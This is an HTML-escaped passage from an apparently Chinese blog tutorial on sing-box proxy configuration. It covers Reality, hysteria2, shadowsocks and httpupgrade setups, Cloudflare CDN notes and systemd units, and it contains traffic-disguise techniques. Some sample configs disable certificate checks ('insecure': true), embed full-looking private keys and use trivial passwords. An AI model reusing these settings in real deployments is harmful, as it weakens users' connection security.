我们熟悉的 vmess+ws，就是将上层 vmess 处理后的数据通过 ws 传输，这层一般不对数据进行加密，要么是在第一层就通过代理协议加密了，要么是交给第三层的传输安全来处理&lt;&#x2F;li&gt;
&lt;li&gt;最底层也就是我们熟知的 tls 以及 reality&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;anytls-reality.png&quot; alt=&quot;anytls-reality&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过这个图我们就可以实现任意协议组合任意传输，比如我可以搭建普通的 vmess 节点，也可以搭建 ss+ws 的节点，或者 ss+grpc+reality
还可以将原本的协议组合打乱，比如 trojan 协议默认情况下就是套了 tls，我们可以给她换成 reality 或者直接脱掉 tls 让她裸奔
anytls 也是类似，协议默认设计成了套 tls，但我们可以给他套上 reality，也就变成了 anyreality 了&lt;&#x2F;p&gt;
&lt;h1 id=&quot;sheng-cheng-mi-yao-cai-liao&quot;&gt;生成密钥材料&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sing-box generate uuid
sing-box generate reality-keypair   # 输出 PrivateKey&amp;#x2F;PublicKey 各一行，对应服务端&amp;#x2F;客户端
sing-box generate rand 8 --hex      # 生成 short_id
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;anytls-reality-pei-zhi&quot;&gt;anytls-reality 配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;anytls-reality-server-pei-zhi&quot;&gt;anytls-reality server 配置&lt;&#x2F;h2&gt;
&lt;p&gt;修改 password private_key short_id&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;cat &amp;lt;&amp;lt;EOF | sudo tee &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;anytls-reality.json 
{
    &amp;quot;inbounds&amp;quot;: [
        {
            &amp;quot;type&amp;quot;: &amp;quot;anytls&amp;quot;,
            &amp;quot;listen&amp;quot;: &amp;quot;::&amp;quot;,
            &amp;quot;listen_port&amp;quot;: 56443,
            &amp;quot;users&amp;quot;: [
                {
                    &amp;quot;name&amp;quot;: &amp;quot;user&amp;quot;,
                    &amp;quot;password&amp;quot;: &amp;quot;123456&amp;quot;
                }
            ],
            &amp;quot;padding_scheme&amp;quot;: [
                &amp;quot;stop=8&amp;quot;,
                &amp;quot;0=30-30&amp;quot;,
                &amp;quot;1=100-400&amp;quot;,
                &amp;quot;2=400-500,c,500-1000,c,500-1000,c,500-1000,c,500-1000&amp;quot;,
                &amp;quot;3=9-9,500-1000&amp;quot;,
                &amp;quot;4=500-1000&amp;quot;,
                &amp;quot;5=500-1000&amp;quot;,
                &amp;quot;6=500-1000&amp;quot;,
                &amp;quot;7=500-1000&amp;quot;
            ],
            &amp;quot;tls&amp;quot;: {
                &amp;quot;enabled&amp;quot;: true,
                &amp;quot;server_name&amp;quot;: &amp;quot;yahoo.com&amp;quot;,
                &amp;quot;reality&amp;quot;: {
                    &amp;quot;enabled&amp;quot;: true,
                    &amp;quot;handshake&amp;quot;: {
                        &amp;quot;server&amp;quot;: &amp;quot;yahoo.com&amp;quot;,
                        &amp;quot;server_port&amp;quot;: 443
                    },
                    &amp;quot;private_key&amp;quot;: &amp;quot;eO3B3EMGXrYfGOe87NkUVusaeUxtLB4vxiqjVXqb9GU&amp;quot;,
                    &amp;quot;short_id&amp;quot;: &amp;quot;0123456789abcdef&amp;quot;
                }
            }
        }
    ]
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;anytls-reality-client-pei-zhi&quot;&gt;anytls-reality client 配置&lt;&#x2F;h2&gt;
&lt;p&gt;修改 server password public_key short_id&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;client-anytls-reality.json &amp;lt;&amp;lt;EOF
{
    &amp;quot;outbounds&amp;quot;: [
        {
            &amp;quot;type&amp;quot;: &amp;quot;anytls&amp;quot;,
            &amp;quot;tag&amp;quot;: &amp;quot;anytls-out&amp;quot;,
            &amp;quot;server&amp;quot;: &amp;quot;192.0.2.1&amp;quot;,
            &amp;quot;server_port&amp;quot;: 56443,
            &amp;quot;password&amp;quot;: &amp;quot;123456&amp;quot;,
            &amp;quot;idle_session_check_interval&amp;quot;: &amp;quot;30s&amp;quot;,
            &amp;quot;idle_session_timeout&amp;quot;: &amp;quot;30s&amp;quot;,
            &amp;quot;min_idle_session&amp;quot;: 5,
            &amp;quot;tls&amp;quot;: {
                &amp;quot;enabled&amp;quot;: true,
                &amp;quot;disable_sni&amp;quot;: false,
                &amp;quot;server_name&amp;quot;: &amp;quot;yahoo.com&amp;quot;,
                &amp;quot;insecure&amp;quot;: false,
                &amp;quot;utls&amp;quot;: {
                    &amp;quot;enabled&amp;quot;: true,
                    &amp;quot;fingerprint&amp;quot;: &amp;quot;chrome&amp;quot;
                },
                &amp;quot;reality&amp;quot;: {
                    &amp;quot;enabled&amp;quot;: true,
                    &amp;quot;public_key&amp;quot;: &amp;quot;u4v3a_-uhIXPE2RoGaNy9_W5EK5UYV_hVN4Vpei75lM&amp;quot;,
                    &amp;quot;short_id&amp;quot;: &amp;quot;0123456789abcdef&amp;quot;
                }
            }
        }
    ]
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;vless-reality-pei-zhi&quot;&gt;vless-reality 配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;vless-reality-server-pei-zhi&quot;&gt;vless-reality server 配置&lt;&#x2F;h2&gt;
&lt;p&gt;修改 uuid private_key short_id&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;cat &amp;lt;&amp;lt;EOF | sudo tee &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;vless-reality.json 
{
    &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;tag&amp;quot;: &amp;quot;VLESS-REALITY-33584.json&amp;quot;,
      &amp;quot;type&amp;quot;: &amp;quot;vless&amp;quot;,
      &amp;quot;listen&amp;quot;: &amp;quot;::&amp;quot;,
      &amp;quot;listen_port&amp;quot;: 33584,
      &amp;quot;users&amp;quot;: [
        {
          &amp;quot;flow&amp;quot;: &amp;quot;xtls-rprx-vision&amp;quot;,
          &amp;quot;uuid&amp;quot;: &amp;quot;xxxxxxxx-cbef-4811-a3f0-d10733e669cd&amp;quot;
        }
      ],
      &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;server_name&amp;quot;: &amp;quot;aws.amazon.com&amp;quot;,
        &amp;quot;reality&amp;quot;: {
          &amp;quot;enabled&amp;quot;: true,
          &amp;quot;handshake&amp;quot;: {
            &amp;quot;server&amp;quot;: &amp;quot;aws.amazon.com&amp;quot;,
            &amp;quot;server_port&amp;quot;: 443
          },
          &amp;quot;private_key&amp;quot;: &amp;quot;xxxxxxxx_GoOG9l7xvyT_zJuh4wyHyacXGdUWiuhJGg&amp;quot;,
          &amp;quot;short_id&amp;quot;: [
            &amp;quot;&amp;quot;
          ]
        }
      }
    }
  ]
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ke-xuan-bian-ti-multiplex-brutal-dai-kuan-qiang-zhan&quot;&gt;可选变体：multiplex + brutal（带宽抢占）&lt;&#x2F;h3&gt;
&lt;p&gt;在 vless-reality 入站上叠加 multiplex（含 padding）与 brutal 拥塞控制，适合抢占带宽场景：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;tag&amp;quot;: &amp;quot;VLESS-Vision-Reality&amp;quot;,
    &amp;quot;type&amp;quot;: &amp;quot;vless&amp;quot;,
    &amp;quot;listen&amp;quot;: &amp;quot;::&amp;quot;,
    &amp;quot;listen_port&amp;quot;: 443,
    &amp;quot;users&amp;quot;: [
        {
            &amp;quot;uuid&amp;quot;: &amp;quot;625a08bb-d372-4f7c-a2d4-6a50ca3393ce&amp;quot;,
            &amp;quot;flow&amp;quot;: &amp;quot;xtls-rprx-vision&amp;quot;
        }
    ],
    &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;server_name&amp;quot;: &amp;quot;aws.amazon.com&amp;quot;,
        &amp;quot;reality&amp;quot;: {
            &amp;quot;enabled&amp;quot;: true,
            &amp;quot;handshake&amp;quot;: {
                &amp;quot;server&amp;quot;: &amp;quot;aws.amazon.com&amp;quot;,
                &amp;quot;server_port&amp;quot;: 443
            },
            &amp;quot;private_key&amp;quot;: &amp;quot;mAQVEs96AtDg1V_b2POFVP8n-Uu6hBe0_1Zt-DtRzGE&amp;quot;,
            &amp;quot;short_id&amp;quot;: [
                &amp;quot;a118b9425a7e2dc5&amp;quot;
            ]
        }
    },
    &amp;quot;multiplex&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;padding&amp;quot;: true,
        &amp;quot;brutal&amp;quot;: {
            &amp;quot;enabled&amp;quot;: true,
            &amp;quot;up_mbps&amp;quot;: 800,
            &amp;quot;down_mbps&amp;quot;: 100
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;vless-reality-client-duan-ji-chu-pei-zhi&quot;&gt;vless reality client 端基础配置&lt;&#x2F;h2&gt;
&lt;p&gt;修改 uuid public_key&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;client-vless-reality.json &amp;lt;&amp;lt;EOF
{
    &amp;quot;outbounds&amp;quot;: [
        {
            &amp;quot;type&amp;quot;: &amp;quot;vless&amp;quot;,
            &amp;quot;tag&amp;quot;: &amp;quot;vless-out&amp;quot;,
            &amp;quot;server&amp;quot;: &amp;quot;192.0.2.2&amp;quot;,
            &amp;quot;server_port&amp;quot;: 13584,
            &amp;quot;uuid&amp;quot;: &amp;quot;211d952d-cbef-4811-a3f0-xxxxxxxxxxxx&amp;quot;,
            &amp;quot;flow&amp;quot;: &amp;quot;xtls-rprx-vision&amp;quot;,
            &amp;quot;network&amp;quot;: &amp;quot;tcp&amp;quot;,
            &amp;quot;tls&amp;quot;: {
                &amp;quot;enabled&amp;quot;: true,
                &amp;quot;disable_sni&amp;quot;: false,
                &amp;quot;server_name&amp;quot;: &amp;quot;aws.amazon.com&amp;quot;,
                &amp;quot;utls&amp;quot;: {
                &amp;quot;enabled&amp;quot;: true,
                &amp;quot;fingerprint&amp;quot;: &amp;quot;chrome&amp;quot;
                },
                &amp;quot;reality&amp;quot;: {
                &amp;quot;enabled&amp;quot;: true,
                &amp;quot;public_key&amp;quot;: &amp;quot;xxxxxx-3J5ReO_EpOBSix7PYhFOzaor0r8xQtEUdjS8&amp;quot;,
                &amp;quot;short_id&amp;quot;: &amp;quot;&amp;quot;
                }
            }
        }
    ]
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;reality-ke-hu-duan-utls-zhi-wen-bi-xu-pei-zhi-2026-08-shi-ce&quot;&gt;Reality 客户端 uTLS 指纹：必须配置（2026-08 实测）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reality 客户端强制要求 uTLS 指纹&lt;&#x2F;strong&gt;：删除 &lt;code&gt;utls&lt;&#x2F;code&gt; 块或 &lt;code&gt;&quot;enabled&quot;: false&lt;&#x2F;code&gt; 时配置直接无法启动，&lt;code&gt;sing-box check&lt;&#x2F;code&gt; 报错 &lt;code&gt;FATAL initialize outbound[0]: uTLS is required by reality client&lt;&#x2F;code&gt;（v1.12.x 实测），比「断连」更严格——连进程都起不来&lt;&#x2F;li&gt;
&lt;li&gt;指纹不限于 chrome：换 &lt;code&gt;firefox&lt;&#x2F;code&gt; 等任意 uTLS 指纹均正常（实测可达 200），&lt;code&gt;chrome&lt;&#x2F;code&gt; 只是最通用的选择&lt;&#x2F;li&gt;
&lt;li&gt;Cloudflare 场景澄清：
&lt;ul&gt;
&lt;li&gt;目的站挂在 Cloudflare CDN 后面时，Cloudflare 会做 TLS 指纹识别（JA3&#x2F;JA4），非浏览器指纹（Go 原生 TLS）的连接会被拦截&#x2F;重置——这才是配置 chrome 指纹的现实意义&lt;&#x2F;li&gt;
&lt;li&gt;若「cloudflare dns」指用 1.1.1.1 做 DNS 服务器（UDP 53），与 TLS 指纹完全无关，不会因此断连&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;tao-cloudflare-cdn-shi-de-chuan-shu-ceng-xuan-ze-2026-08-shi-ce-cha-zheng&quot;&gt;套 Cloudflare CDN 时的传输层选择（2026-08 实测&#x2F;查证）&lt;&#x2F;h1&gt;
&lt;p&gt;把服务端放到 Cloudflare CDN 后面时（隐藏 VPS IP &#x2F; 优选 IP），传输层兼容性如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;传输&lt;&#x2F;th&gt;&lt;th&gt;过 CF&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ws&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;CF 官方支持（WebSocket）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;grpc&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;CF 官方支持（面板需开 gRPC 开关）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;httpupgrade&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;与 ws 同属 HTTP Upgrade 机制，CF 透传 101，实测可用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;http（HTTP&#x2F;1.1 CONNECT）&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;CONNECT 方法 CF 不透传&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;h2（HTTP&#x2F;2 extended CONNECT）&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;xray 旧版 h2 传输依赖的 RFC 8441 extended CONNECT，CF 无此特殊回源支持&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;sing-box 没有独立的 &quot;h2&quot; 传输类型（1.12.x 实测 &lt;code&gt;unknown transport type: h2&lt;&#x2F;code&gt;），&quot;vless+h2+tls&quot; 是 xray 旧版术语；sing-box 的 HTTP 族传输是 http &#x2F; httpupgrade &#x2F; ws &#x2F; grpc&lt;&#x2F;li&gt;
&lt;li&gt;CF 只对 WS、gRPC 有特殊回源支持，其它 HTTP 流量按普通网页处理，因此基于 CONNECT 的传输（http &#x2F; h2）无法承载代理数据流&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Reality 不能过 CF&lt;&#x2F;strong&gt;：TLS 在 CF 边缘终结，客户端拿到的是 CF 证书，Reality 镜像握手机制失效；套 CF 需自有域名 + CF 托管证书，传输层配普通 TLS&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;shadowsocks-pei-zhi&quot;&gt;shadowsocks 配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&amp;quot;inbounds&amp;quot;: [
    {
        &amp;quot;tag&amp;quot;: &amp;quot;SS&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;shadowsocks&amp;quot;,
        &amp;quot;listen&amp;quot;: &amp;quot;::&amp;quot;,
        &amp;quot;listen_port&amp;quot;: 80,
        &amp;quot;method&amp;quot;: &amp;quot;2022-blake3-aes-128-gcm&amp;quot;, &amp;#x2F;&amp;#x2F; aes-128-gcm 密钥无限制
        &amp;quot;password&amp;quot;: &amp;quot;hztQCU1ZB8CAuPMVFJiCJw==&amp;quot;, &amp;#x2F;&amp;#x2F; 密钥长度16，执行 sing-box generate rand --base64 16 生成
        &amp;quot;multiplex&amp;quot;: {
            &amp;quot;enabled&amp;quot;: true
        }
    }
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;hysteria2-pei-zhi&quot;&gt;hysteria2 配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;hysteria2-server-pei-zhi&quot;&gt;hysteria2 server 配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;tag&amp;quot;: &amp;quot;Hysteria2-55003.json&amp;quot;,
      &amp;quot;type&amp;quot;: &amp;quot;hysteria2&amp;quot;,
      &amp;quot;listen&amp;quot;: &amp;quot;::&amp;quot;,
      &amp;quot;listen_port&amp;quot;: 55003,
      &amp;quot;users&amp;quot;: [
        {
          &amp;quot;password&amp;quot;: &amp;quot;xxxxxxxx-c295-4b16-a518-b721343e7d1c&amp;quot;
        }
      ],
      &amp;quot;obfs&amp;quot;: {
        &amp;quot;type&amp;quot;: &amp;quot;salamander&amp;quot;,
        &amp;quot;password&amp;quot;: &amp;quot;xxxxxxxx-ee95-44f9-97f2-3fefe254f223&amp;quot; &amp;#x2F;&amp;#x2F; 执行 sing-box generate uuid 生成作为密码即可
      },
      &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;alpn&amp;quot;: [
          &amp;quot;h3&amp;quot;
        ],
        &amp;quot;key_path&amp;quot;: &amp;quot;&amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;bin&amp;#x2F;tls.key&amp;quot;,
        &amp;quot;certificate_path&amp;quot;: &amp;quot;&amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;bin&amp;#x2F;tls.cer&amp;quot;
      }
    }
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;hysteria2-client-pei-zhi&quot;&gt;hysteria2 client 配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;type&amp;quot;: &amp;quot;hysteria2&amp;quot;,
      &amp;quot;server&amp;quot;: &amp;quot;192.0.2.1&amp;quot;,
      &amp;quot;server_port&amp;quot;: 55003,
      &amp;quot;up_mbps&amp;quot;: 100,
      &amp;quot;down_mbps&amp;quot;: 100,
      &amp;quot;password&amp;quot;: &amp;quot;xxxxxxxx-c295-4b16-a518-b721343e7d1c&amp;quot;,
      &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;insecure&amp;quot;: true
      }
    }
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;httpupgrade-pei-zhi-vless-httpupgrade-tls&quot;&gt;httpupgrade 配置（vless + httpupgrade + tls）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;fu-wu-duan-pei-zhi&quot;&gt;服务端配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;client-xhttp-tls.json &amp;lt;&amp;lt;EOF
{
  &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;tag&amp;quot;: &amp;quot;VLESS-HTTPUpgrade-TLS.json&amp;quot;,
      &amp;quot;type&amp;quot;: &amp;quot;vless&amp;quot;,
      &amp;quot;listen&amp;quot;: &amp;quot;0.0.0.0&amp;quot;,
      &amp;quot;listen_port&amp;quot;: 443,
      &amp;quot;users&amp;quot;: [
        {
          &amp;quot;uuid&amp;quot;: &amp;quot;a1b9a65d-e65a-409c-92e3-c038dd808642&amp;quot;
        }
      ],
      &amp;quot;transport&amp;quot;: {
        &amp;quot;type&amp;quot;: &amp;quot;httpupgrade&amp;quot;,
        &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;xxxxxxxx-e65a-409c-92e3-c038dd808642&amp;quot;,
        &amp;quot;headers&amp;quot;: {
          &amp;quot;host&amp;quot;: &amp;quot;demo.com&amp;quot;
        }
      },
      &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;server_name&amp;quot;: &amp;quot;demo.com&amp;quot;,
        &amp;quot;alpn&amp;quot;: [&amp;quot;h2&amp;quot;]
      }
    }
  ]
}

EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ke-hu-duan-pei-zhi&quot;&gt;客户端配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;client-xhttp-tls.json &amp;lt;&amp;lt;EOF
{
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;server&amp;quot;: &amp;quot;www.visa.com&amp;quot;,
      &amp;quot;server_port&amp;quot;: 443,
      &amp;quot;uuid&amp;quot;: &amp;quot;xxxxxxxx-e65a-409c-92e3-c038dd808642&amp;quot;,
      &amp;quot;packet_encoding&amp;quot;: &amp;quot;xudp&amp;quot;,
      &amp;quot;type&amp;quot;: &amp;quot;vless&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;proxy&amp;quot;,
      &amp;quot;tls&amp;quot;: {
        &amp;quot;enabled&amp;quot;: true,
        &amp;quot;server_name&amp;quot;: &amp;quot;demo.com&amp;quot;,
        &amp;quot;insecure&amp;quot;: false
      },
      &amp;quot;transport&amp;quot;: {
        &amp;quot;type&amp;quot;: &amp;quot;httpupgrade&amp;quot;,
        &amp;quot;host&amp;quot;: &amp;quot;demo.com&amp;quot;,
        &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;xxxxxxxx-e65a-409c-92e3-c038dd808642&amp;quot;
      }
    }
  ]
}
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;systemd-fu-wu-hua&quot;&gt;systemd 服务化&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;fu-wu-duan-xi-tong-ji-ke-jia-zai-conf-mu-lu-he-bing-pei-zhi&quot;&gt;服务端（系统级，可加载 conf 目录合并配置）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo loginctl enable-linger user
sudo loginctl show-user user
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果您希望为所有用户启用 linger，可以编辑 &#x2F;etc&#x2F;systemd&#x2F;logind.conf 文件，并将 LingerDefault 选项设置为 yes，然后重启 systemd-logind&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo mkdir -p &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;conf
cat &amp;lt;&amp;lt;EOF | sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;sing-box-manual.service
[Unit]
Description=sing-box Service
Documentation=https:&amp;#x2F;&amp;#x2F;sing-box.sagernet.org&amp;#x2F;
After=network.target nss-lookup.target
[Service]
User=user
ExecStart=&amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;sing-box run -c &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;config.json -C &amp;#x2F;opt&amp;#x2F;sing-box&amp;#x2F;conf
Restart=on-failure
RestartPreventExitStatus=23
RestartSec=10s
LimitNPROC=10000
LimitNOFILE=1048576
PrivateTmp=true
ProtectSystem=full
#CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE
#AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE
[Install]
WantedBy=multi-user.target
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;后续需要添加新的 outbounds 可以直接添加在 &#x2F;opt&#x2F;sing-box&#x2F;conf&#x2F; 中，sing-box 会自动 merge；主配置在 config.json 中&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;ke-hu-duan-yong-hu-ji-systemd&quot;&gt;客户端（用户级 systemd）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir -p ~&amp;#x2F;.proxy&amp;#x2F;conf
cat &amp;lt;&amp;lt;EOF &amp;gt; ~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;sing-box-manual.service
[Unit]
Description=sing-box Service
Documentation=https:&amp;#x2F;&amp;#x2F;sing-box.sagernet.org&amp;#x2F;
After=network.target nss-lookup.target
[Service]
ExecStart=&amp;#x2F;home&amp;#x2F;user&amp;#x2F;.proxy&amp;#x2F;sing-box run -c &amp;#x2F;home&amp;#x2F;user&amp;#x2F;.proxy&amp;#x2F;config.json -C &amp;#x2F;home&amp;#x2F;user&amp;#x2F;.proxy&amp;#x2F;conf
Restart=on-failure
RestartSec=10s
[Install]
WantedBy=default.target
EOF

systemctl --user daemon-reload
systemctl --user start sing-box-manual.service
systemctl --user show-environment
journalctl --user -ex -u sing-box-manual.service 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;client-ji-chu-pei-zhi&quot;&gt;client 基础配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;sing-box&amp;#x2F;client-config.json &amp;lt;&amp;lt;EOF
{
  &amp;quot;log&amp;quot;: {
    &amp;quot;disabled&amp;quot;: false,
    &amp;quot;level&amp;quot;: &amp;quot;debug&amp;quot;,
    &amp;quot;output&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;timestamp&amp;quot;: true
  },
  &amp;quot;experimental&amp;quot;: {
    &amp;quot;clash_api&amp;quot;: {
      &amp;quot;external_controller&amp;quot;: &amp;quot;127.0.0.1:10807&amp;quot;,
      &amp;quot;external_ui&amp;quot;: &amp;quot;ui&amp;quot;,
      &amp;quot;external_ui_download_url&amp;quot;: &amp;quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;MetaCubeX&amp;#x2F;metacubexd&amp;#x2F;archive&amp;#x2F;gh-pages.zip&amp;quot;,
      &amp;quot;external_ui_download_detour&amp;quot;: &amp;quot;vless-out&amp;quot;,
      &amp;quot;default_mode&amp;quot;: &amp;quot;rule&amp;quot;,
      &amp;quot;access_control_allow_origin&amp;quot;: [ &amp;quot;*&amp;quot; ],
      &amp;quot;access_control_allow_private_network&amp;quot;: false
    },
    &amp;quot;cache_file&amp;quot;: {
      &amp;quot;enabled&amp;quot;: true,
      &amp;quot;path&amp;quot;: &amp;quot;cache.db&amp;quot;,
      &amp;quot;cache_id&amp;quot;: &amp;quot;&amp;quot;,
      &amp;quot;store_fakeip&amp;quot;: true,
      &amp;quot;store_rdrc&amp;quot;: true,
      &amp;quot;rdrc_timeout&amp;quot;: &amp;quot;7d&amp;quot;
    }
  },
  &amp;quot;inbounds&amp;quot;: [
    {
      &amp;quot;address&amp;quot;: [&amp;quot;172.18.0.1&amp;#x2F;30&amp;quot;, &amp;quot;fdfe:dcba:9876::1&amp;#x2F;126&amp;quot;],
      &amp;quot;route_address&amp;quot;: [&amp;quot;0.0.0.0&amp;#x2F;1&amp;quot;, &amp;quot;128.0.0.0&amp;#x2F;1&amp;quot;, &amp;quot;::&amp;#x2F;1&amp;quot;, &amp;quot;8000::&amp;#x2F;1&amp;quot;],
      &amp;quot;route_exclude_address&amp;quot;: [
        &amp;quot;192.168.0.0&amp;#x2F;16&amp;quot;,
        &amp;quot;10.0.0.0&amp;#x2F;8&amp;quot;,
        &amp;quot;172.16.0.0&amp;#x2F;12&amp;quot;,
